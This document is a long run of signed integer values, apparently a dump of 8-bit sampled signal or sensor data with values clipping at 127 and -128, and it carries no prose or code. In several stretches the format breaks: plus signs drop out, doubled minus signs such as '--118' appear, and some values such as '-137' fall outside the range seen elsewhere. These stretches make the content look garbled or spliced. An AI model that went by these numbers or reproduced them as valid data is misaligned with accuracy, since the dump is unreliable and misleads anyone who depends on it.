+-57 +58 +127 +125 +14 +-77 +-128 +-128 +-56 +56 +-36 +-101 +-111 +12 +109 +4 +-85 +-98 +18 +108 +4 +-71 +-107 +11 +100 +-2 +-91 +-109 +8 +100 +-5 +-75 +-108 +8 +101 +-3 +-92 +-109 +8 +102 +-3 +-74 +-108 +9 +102 +-4 +-90 +-106 +9 +102 +-3 +-75 +-109 +9 +99 +-2 +-93 +-109 +6 +98 +-6 +-77 +-109 +8 +102 +-5 +-91 +-107 +9 +102 +-4 +-76 +-106 +7 +99 +127 +127 +24 +-71 +-128 +-128 +-65 +50 +127 +118 +11 +-80 +-128 +-128 +-56 +54 +127 +125 +13 +-78 +-128 +-128 +-57 +56 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +56 +127 +120 +12 +-80 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-59 +54 +127 +123 +14 +-80 +-128 +-128 +-58 +57 +127 +125 +14 +-76 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-59 +54 +127 +125 +13 +-79 +-128 +-128 +-57 +55 +127 +123 +15 +-75 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +54 +127 +123 +14 +-80 +-128 +-128 +-58 +57 +127 +123 +16 +-78 +-128 +-128 +-60 +55 +127 +123 +13 +-76 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +53 +127 +125 +12 +-79 +-128 +-128 +-55 +56 +127 +124 +14 +-78 +-128 +-128 +-58 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +14 +-76 +-128 +-128 +-56 +57 +127 +124 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +15 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +125 +14 +-79 +-128 +-128 +-58 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +123 +14 +-76 +-128 +-128 +-55 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +56 +127 +124 +16 +-79 +-128 +-128 +-59 +53 +127 +125 +12 +-76 +-128 +-128 +-57 +57 +127 +124 +16 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-58 +57 +127 +125 +14 +-76 +-128 +-128 +-56 +57 +127 +125 +14 +-78 +-128 +-128 +-55 +56 +127 +125 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-77 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-56 +55 +127 +124 +13 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +123 +15 +-77 +-128 +-128 +-55 +56 +127 +123 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +14 +-77 +-128 +-128 +-56 +57 +-36 +-101 +-110 +12 +110 +4 +-69 +-98 +18 +108 +3 +-85 +-106 +10 +102 +-4 +-74 +-109 +7 +100 +-4 +-92 +-109 +8 +102 +-5 +-74 +-108 +8 +101 +-3 +-91 +-108 +9 +102 +-3 +-74 +-108 +9 +102 +-4 +-90 +-107 +8 +101 +-4 +-76 +-108 +6 +99 +-2 +-90 +-109 +8 +100 +-2 +-77 +-107 +8 +102 +127 +127 +24 +-70 +-128 +-128 +-67 +46 +127 +118 +9 +-83 +-128 +-128 +-60 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +16 +-77 +-128 +-128 +-56 +56 +127 +124 +13 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +16 +-77 +-128 +-128 +-56 +58 +127 +125 +15 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +123 +16 +-77 +-128 +-128 +-59 +54 +127 +123 +13 +-76 +-128 +-128 +-56 +58 +127 +124 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +14 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +55 +127 +123 +14 +-80 +-128 +-128 +-58 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-57 +58 +127 +123 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +16 +-77 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-58 +56 +127 +125 +16 +-77 +-128 +-128 +-59 +53 +127 +124 +12 +-79 +-128 +-128 +-56 +57 +127 +125 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-79 +-128 +-128 +-57 +56 +127 +125 +15 +-78 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +125 +14 +-79 +-128 +-128 +-57 +59 +127 +125 +16 +-78 +-128 +-128 +-57 +56 +127 +125 +15 +-78 +-128 +-128 +-56 +58 +127 +124 +15 +-78 +-128 +-128 +-59 +53 +127 +125 +12 +-79 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-55 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +54 +127 +124 +13 +-80 +-128 +-128 +-60 +54 +127 +123 +12 +-76 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-59 +53 +127 +125 +12 +-78 +-128 +-128 +-57 +55 +127 +123 +16 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-55 +57 +127 +124 +14 +-78 +-128 +-128 +-59 +55 +127 +122 +14 +-76 +-128 +-128 +-57 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +15 +-78 +-128 +-128 +-57 +59 +127 +125 +17 +-79 +-128 +-128 +-57 +57 +127 +123 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +15 +-77 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-57 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +-37 +-101 +-111 +12 +110 +4 +-69 +-99 +17 +108 +2 +-86 +-106 +10 +102 +-4 +-74 +-108 +8 +100 +-4 +-92 +-109 +8 +101 +-4 +-75 +-108 +9 +101 +-4 +-90 +-107 +9 +102 +-3 +-75 +-108 +9 +102 +-2 +-90 +-108 +8 +102 +-4 +-76 +-106 +7 +101 +-1 +-93 +-108 +7 +102 +-3 +-76 +-109 +9 +101 +-4 +-91 +-107 +6 +100 +-2 +-74 +-109 +9 +99 +-2 +-93 +-108 +7 +102 +-3 +-75 +-108 +8 +102 +-2 +-91 +-107 +9 +102 +-4 +-74 +-107 +9 +102 +-3 +-91 +-108 +9 +102 +-4 +-74 +-108 +9 +102 +-3 +-92 +-108 +9 +102 +-4 +-74 +-108 +8 +101 +-3 +-92 +-109 +8 +102 +-4 +-74 +-107 +10 +102 +-4 +-90 +-107 +8 +101 +-4 +-76 +-108 +9 +102 +127 +127 +25 +-69 +-128 +-128 +-65 +48 +127 +120 +11 +-81 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-57 +56 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-57 +56 +127 +125 +15 +-78 +-128 +-128 +-57 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +15 +-78 +-128 +-128 +-57 +58 +127 +125 +17 +-79 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-56 +56 +127 +124 +16 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-55 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +55 +127 +125 +17 +-79 +-128 +-128 +-59 +52 +127 +124 +12 +-78 +-128 +-128 +-57 +58 +127 +125 +16 +-77 +-128 +-128 +-57 +58 +127 +123 +14 +-77 +-128 +-128 +-56 +56 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +16 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-57 +59 +127 +126 +17 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-58 +54 +127 +126 +13 +-79 +-128 +-128 +-60 +56 +127 +122 +13 +-76 +-128 +-128 +-56 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +13 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-57 +57 +127 +123 +16 +-76 +-128 +-128 +-60 +54 +127 +123 +12 +-76 +-128 +-128 +-57 +57 +127 +125 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +15 +-78 +-128 +-128 +-59 +53 +127 +125 +12 +-78 +-128 +-128 +-56 +55 +127 +121 +12 +-80 +-128 +-128 +-57 +58 +-37 +-102 +-111 +12 +109 +6 +-69 +-99 +16 +107 +4 +-88 +-107 +11 +100 +-3 +-75 +-109 +8 +101 +-4 +-92 +-108 +9 +102 +-2 +-75 +-109 +8 +102 +-2 +-91 +-108 +10 +101 +-1 +-77 +-106 +7 +102 +-1 +-92 +-107 +5 +98 +-5 +-78 +-112 +5 +103 +-2 +-94 +-111 +4 +103 +0 +-75 +-110 +5 +100 +-1 +-92 +-110 +5 +103 +127 +127 +24 +-66 +-128 +-128 +-67 +47 +127 +120 +9 +-79 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-55 +56 +127 +126 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +124 +13 +-79 +-128 +-128 +-58 +57 +127 +125 +13 +-76 +-128 +-128 +-56 +56 +127 +126 +15 +-78 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-60 +53 +127 +126 +12 +-77 +-128 +-128 +-58 +58 +127 +126 +13 +-76 +-128 +-128 +-56 +57 +127 +124 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-58 +54 +127 +126 +12 +-79 +-128 +-128 +-57 +59 +127 +125 +14 +-77 +-128 +-128 +-56 +59 +127 +124 +16 +-78 +-128 +-128 +-59 +54 +127 +126 +12 +-76 +-128 +-128 +-57 +58 +127 +125 +14 +-77 +-128 +-128 +-55 +56 +127 +126 +13 +-76 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +16 +-75 +-128 +-128 +-60 +54 +127 +124 +12 +-76 +-128 +-128 +-56 +57 +127 +125 +14 +-78 +-128 +-128 +-56 +57 +127 +125 +14 +-78 +-128 +-128 +-55 +57 +127 +126 +14 +-78 +-128 +-128 +-59 +53 +127 +126 +12 +-78 +-128 +-128 +-56 +55 +127 +122 +12 +-80 +-128 +-128 +-57 +57 +127 +124 +14 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +126 +14 +-77 +-128 +-128 +-56 +57 +127 +126 +14 +-77 +-128 +-128 +-55 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-76 +-128 +-128 +-55 +58 +127 +126 +14 +-78 +-128 +-128 +-59 +54 +127 +126 +13 +-76 +-128 +-128 +-56 +58 +127 +126 +16 +-76 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-59 +54 +127 +126 +12 +-76 +-128 +-128 +-57 +58 +127 +125 +15 +-77 +-128 +-128 +-57 +57 +127 +127 +13 +-76 +-128 +-128 +-59 +55 +127 +124 +12 +-76 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-55 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +60 +127 +126 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-58 +55 +127 +123 +14 +-80 +-128 +-128 +-57 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-78 +-128 +-128 +-55 +55 +127 +121 +12 +-79 +-128 +-128 +-60 +56 +127 +123 +13 +-76 +-128 +-128 +-57 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +-35 +-102 +-112 +13 +108 +3 +-86 +-97 15 110 -137 -137 -33 --57 --118 --118 --55 -60 -137 -130 -20 --71 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --45 -67 -137 -136 -24 --68 --118 --118 --46 -67 -137 -134 -23 --68 --118 --118 --48 -64 -137 -136 +0 +-70 +-106 +10 +101 +-4 +-90 +-109 +8 +101 +-4 +-76 +-109 +8 +101 +-5 +-90 +-108 +8 +101 +-4 +-76 +-109 +9 +102 +-4 +-90 +-107 +9 +102 +-3 +-75 +-108 +9 +102 +-4 +-90 +-107 +9 +102 +-3 +-76 +-108 +9 +102 +-3 +-90 +-107 +10 +102 +-2 +-75 +-108 +9 +100 +127 +127 24 -69 --118 --118 --50 -66 -137 -133 +-128 +-128 +-64 +49 +127 +121 +11 +-80 +-128 +-128 +-57 +55 +127 +123 +14 +-77 +-128 +-128 +-56 +55 +127 +123 +13 +-79 +-128 +-128 +-58 +56 +127 +124 +14 +-78 +-128 +-128 +-57 +56 +127 +126 +13 +-76 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-55 +58 +127 +125 +15 +-78 +-128 +-128 +-56 +58 +-38 +-101 +-110 +12 +110 +4 +-70 +-98 +14 +104 +0 +-90 +-109 +7 +104 +-1 +-77 +-111 +4 +101 +-1 +-91 +-111 +4 +100 +-1 +-76 +-111 +4 +103 +-1 +-92 +-110 +5 +102 +0 +-75 +-110 +5 +102 +0 +-92 +-111 +5 +101 +-1 +-76 +-111 +5 +102 +0 +-91 +-110 +5 +100 +-1 +-76 +-111 +5 +103 +127 +127 +24 +-67 +-128 +-128 +-64 +51 +127 +120 +11 +-81 +-128 +-128 +-56 +56 +127 +125 +14 +-77 +-128 +-128 +-56 +57 +127 +124 +15 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-55 +56 +127 +124 +14 +-77 +-128 +-128 +-56 +56 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +123 +13 +-79 +-128 +-128 +-59 +54 +127 +125 +13 +-76 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +54 +127 +126 +13 +-78 +-128 +-128 +-56 +55 +127 +121 +12 +-79 +-128 +-128 +-60 +58 +127 +122 +13 +-76 +-128 +-128 +-57 +58 +127 +124 +16 +-76 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +57 +127 +124 +13 +-76 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-60 +53 +127 +125 +12 +-77 +-128 +-128 +-57 +58 +127 +125 +16 +-77 +-128 +-128 +-56 +56 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-60 +53 +127 +126 +12 +-79 +-128 +-128 +-55 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +122 +14 +-75 +-128 +-128 +-57 +57 +127 +123 +15 +-77 +-128 +-128 +-55 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +124 +15 +-77 +-128 +-128 +-55 +57 +127 +125 +14 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-55 +56 +127 +123 +14 +-78 +-128 +-128 +-58 +57 +127 +125 +14 +-76 +-128 +-128 +-56 +57 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +15 +-76 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +56 +-36 +-101 +-111 +12 +110 +3 +-70 +-98 +15 +105 +0 +-88 +-106 +9 +103 +-2 +-75 +-110 +6 +102 +-6 +-91 +-109 +8 +102 +-5 +-74 +-108 +8 +101 +-3 +-92 +-108 +9 +102 +-4 +-74 +-108 +9 +102 +-2 +-91 +-109 +8 +101 +-3 +-75 +-109 +9 +102 +-4 +-91 +-107 +8 +102 +-3 +-75 +-108 +9 +102 +-4 +-90 +-107 +9 +102 +-3 +-75 +-108 +9 +101 +-3 +-90 +-108 +9 +102 +-4 +-74 +-107 +8 +100 +-4 +-92 +-108 +9 +103 +-3 +-76 +-107 +6 +98 +-6 +-94 +-112 +6 +103 +-1 +-77 +-111 +4 +102 +-1 +-91 +-111 +5 +101 +-1 +-76 +-111 +4 +103 +0 +-88 +-112 +4 +102 +-1 +-76 +-110 +5 +103 +0 +-91 +-110 +4 +101 +-1 +-76 +-111 +5 +101 +127 +127 +24 +-67 +-128 +-128 +-68 +46 +127 +119 +8 +-79 +-128 +-128 +-58 +57 +127 +123 +13 +-78 +-128 +-128 +-57 +57 +127 +124 +16 +-79 +-128 +-128 +-60 +56 +127 +122 +12 +-76 +-128 +-128 +-57 +58 +127 +126 +16 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +56 +127 +121 +12 +-80 +-128 +-128 +-57 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +16 +-77 +-128 +-128 +-56 +56 +127 +126 +15 +-78 +-128 +-128 +-59 +53 +127 +125 +12 +-77 +-128 +-128 +-57 +58 +127 +123 +13 +-78 +-128 +-128 +-57 +58 +127 +124 +16 +-79 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-59 +53 +127 +124 +12 +-79 +-128 +-128 +-55 +57 +127 +126 +15 +-77 +-128 +-128 +-57 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-58 +58 +127 +125 +13 +-77 +-128 +-128 +-59 +53 +127 +124 +13 +-79 +-128 +-128 +-59 +53 +127 +125 +12 +-78 +-128 +-128 +-57 +58 +127 +126 +16 +-77 +-128 +-128 +-55 +57 +127 +124 +15 +-77 +-128 +-128 +-57 +58 +127 +122 +15 +-75 +-128 +-128 +-57 +57 +127 +126 +16 +-77 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-59 +54 +127 +125 +13 +-78 +-128 +-128 +-56 +54 +127 +120 +12 +-80 +-128 +-128 +-57 +57 +127 +123 +16 +-77 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +15 +-77 +-128 +-128 +-55 +57 +127 +124 +14 +-78 +-128 +-128 +-59 +54 +127 +125 +12 +-79 +-128 +-128 +-57 +55 +127 +124 +14 +-79 +-128 +-128 +-58 +58 +127 +125 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-55 +56 +127 +125 +14 +-78 +-128 +-128 +-58 +57 +127 +125 +13 +-76 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-59 +53 +127 +125 +13 +-79 +-128 +-128 +-55 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +55 +127 +124 +16 +-76 +-128 +-128 +-60 +54 +127 +124 +13 +-75 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-56 +55 +127 +126 +13 +-76 +-128 +-128 +-60 +53 +-39 +-105 +-98 +8 +110 +5 +-72 +-101 +13 +106 +4 +-88 +-108 +6 +101 +-1 +-76 +-112 +4 +98 +-2 +-93 +-112 +4 +101 +-1 +-76 +-111 +5 +100 +-1 +-92 +-110 +5 +102 +0 +-75 +-110 +5 +101 +-1 +-91 +-110 +5 +101 +-1 +-76 +-110 +6 +103 +0 +-90 +-110 +6 +100 +-2 +-77 +-110 +5 +102 +0 +-91 +-110 +6 +99 +-4 +-78 +-111 +5 +103 +0 +-91 +-110 +5 +98 +-3 +-77 +-111 +5 +103 +0 +-91 +-110 +5 +99 +-3 +-77 +-111 +5 +103 +0 +-90 +-110 +6 +98 +-5 +-78 +-110 +4 +101 +-1 +-91 +-110 +4 +101 +-1 +-76 +-110 +5 +102 +0 +-92 +-110 +5 +102 +0 +-75 +-110 +5 +101 +-1 +-91 +-110 +5 +98 +-3 +-77 +-111 +5 +103 +0 +-91 +-110 +5 +99 +-3 +-77 +-111 +5 +103 +0 +-91 +-111 +5 +99 +-3 +-77 +-110 +5 +104 +0 +-91 +-110 +5 +100 +-2 +-77 +-110 +5 +103 +0 +-91 +-110 +5 +99 +-3 +-77 +-111 +4 +102 +0 +-91 +-110 +5 +98 +-3 +-77 +-111 +5 +103 +0 +-91 +-111 +5 +99 +-3 +-77 +-111 +5 +102 +127 +127 +24 +-67 +-128 +-128 +-67 +46 +127 +119 +9 +-83 +-128 +-128 +-61 +55 +127 +122 +12 +-76 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-55 +57 +127 +125 +13 +-76 +-128 +-128 +-56 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-79 +-128 +-128 +-58 +56 +127 +124 +13 +-76 +-128 +-128 +-55 +57 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +55 +127 +121 +12 +-78 +-128 +-128 +-60 +57 +127 +122 +14 +-75 +-128 +-128 +-57 +57 +127 +124 +14 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +15 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-55 +57 +127 +125 +16 +-77 +-128 +-128 +-57 +58 +127 +124 +15 +-78 +-128 +-128 +-55 +56 +127 +126 +14 +-78 +-128 +-128 +-57 +56 +127 +125 +15 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +13 +-77 +-128 +-128 +-56 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +16 +-77 +-128 +-128 +-57 +56 +127 +125 +14 +-79 +-128 +-128 +-58 +57 +127 +125 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-55 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +125 +15 +-77 +-128 +-128 +-57 +56 +-37 +-102 +-111 +12 +109 +5 +-68 +-98 +18 +108 +2 +-85 +-106 +10 +101 +-4 +-76 +-110 +8 +101 +-5 +-90 +-108 +8 +101 +-3 +-75 +-108 +7 +102 +-3 +-91 +-110 +9 +100 +-1 +-77 +-106 +8 +102 +-3 +-92 +-108 +8 +103 +-4 +-74 +-107 +9 +102 +-3 +-92 +-108 +8 +102 +-5 +-74 +-108 +9 +102 +-3 +-91 +-109 +9 +101 +127 +127 +24 +-68 +-128 +-128 +-64 +50 +127 +121 +11 +-81 +-128 +-128 +-56 +56 +127 +126 +14 +-79 +-128 +-128 +-57 +59 +127 +124 +14 +-78 +-128 +-128 +-57 +57 +127 +124 +16 +-76 +-128 +-128 +-60 +54 +127 +125 +12 +-76 +-128 +-128 +-58 +58 +127 +124 +15 +-77 +-128 +-128 +-57 +56 +127 +126 +13 +-78 +-128 +-128 +-57 +56 +127 +126 +15 +-78 +-128 +-128 +-57 +58 +127 +125 +14 +-78 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +54 +127 +123 +14 +-80 +-128 +-128 +-57 +58 +127 +124 +14 +-77 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +14 +-78 +-128 +-128 +-57 +58 +127 +124 +15 +-76 +-128 +-128 +-55 +57 +127 +126 +14 +-78 +-128 +-128 +-57 +59 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +13 +-78 +-128 +-128 +-56 +57 +127 +126 +16 +-78 +-128 +-128 +-56 +57 +127 +125 +14 +-77 +-128 +-128 +-55 +56 +127 +125 +13 +-78 +-128 +-128 +-57 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +56 +127 +121 +12 +-79 +-128 +-128 +-59 +54 +127 +124 +13 +-76 +-128 +-128 +-57 +58 +127 +126 +16 +-76 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +14 +-77 +-128 +-128 +-57 +59 +127 +125 +14 +-77 +-128 +-128 +-55 +58 +127 +126 +15 +-78 +-128 +-128 +-55 +56 +127 +122 +12 +-78 +-128 +-128 +-59 +56 +127 +122 +13 +-76 +-128 +-128 +-56 +58 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +13 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-56 +57 +127 +124 +13 +-78 +-128 +-128 +-59 +54 +127 +125 +13 +-80 +-128 +-128 +-60 +56 +127 +122 +13 +-76 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-76 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-78 +-128 +-128 +-55 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +57 +127 +124 +13 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +126 +13 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +58 +127 +126 +16 +-77 +-128 +-128 +-56 +58 +127 +124 +13 +-78 +-128 +-128 +-58 +54 +127 +126 +13 +-79 +-128 +-128 +-60 +56 +-35 +-103 +-98 +8 +110 +6 +-87 +-101 +12 +110 +5 +-70 +-108 +8 +101 +-1 +-93 +-107 +5 +99 +-2 +-78 +-110 +9 +99 +-2 +-91 +-108 +9 +101 +-4 +-74 +-108 +9 +101 +-3 +-92 +-109 +9 +102 +-4 +-74 +-107 +10 +102 +-2 +-91 +-109 +9 +101 +-2 +-76 +-110 +9 +101 +-3 +-91 +-109 +9 +101 +-1 +-76 +-108 +7 +98 +127 +127 23 +-70 +-128 +-128 +-68 +50 +127 +117 +9 +-79 +-128 +-128 +-58 +57 +127 +124 +15 +-78 +-128 +-128 +-56 +56 +127 +124 +14 +-78 +-128 +-128 +-58 +59 +127 +126 +15 +-78 +-128 +-128 +-59 +54 +127 +126 +13 +-76 +-128 +-128 +-56 +58 +127 +124 +14 +-78 +-128 +-128 +-56 +56 +127 +125 +14 +-77 +-128 +-128 +-56 +56 +127 +126 +15 +-78 +-128 +-128 +-56 +58 +127 +126 +16 +-77 +-128 +-128 +-56 +58 +127 +124 +15 +-77 +-128 +-128 +-55 +56 +127 +125 +14 +-76 +-128 +-128 +-56 +57 +127 +126 +16 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +54 +127 +123 +14 +-80 +-128 +-128 +-58 +56 +127 +124 +14 +-78 +-128 +-128 +-56 +57 +-35 +-101 +-111 +12 +110 +4 +-70 +-97 +14 +104 +0 +-89 +-108 +6 +104 +0 +-75 +-112 +4 +99 +-2 +-92 +-112 +4 +102 +-1 +-76 +-111 +4 +100 +-1 +-92 +-111 +4 +103 +0 +-75 +-110 +5 +101 +0 +-92 +-110 +5 +103 +0 +-75 +-110 +4 +100 +-1 +-92 +-111 +4 +103 +0 +-76 +-111 +5 +100 +-1 +-92 +-111 +4 +103 +127 +127 +23 +-67 +-128 +-128 -66 --118 --118 --46 -68 -137 -135 +50 +127 +118 +11 +-80 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-59 +53 +127 +125 +12 +-77 +-128 +-128 +-57 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +57 +127 +125 +14 +-77 +-128 +-128 +-56 +57 +127 +126 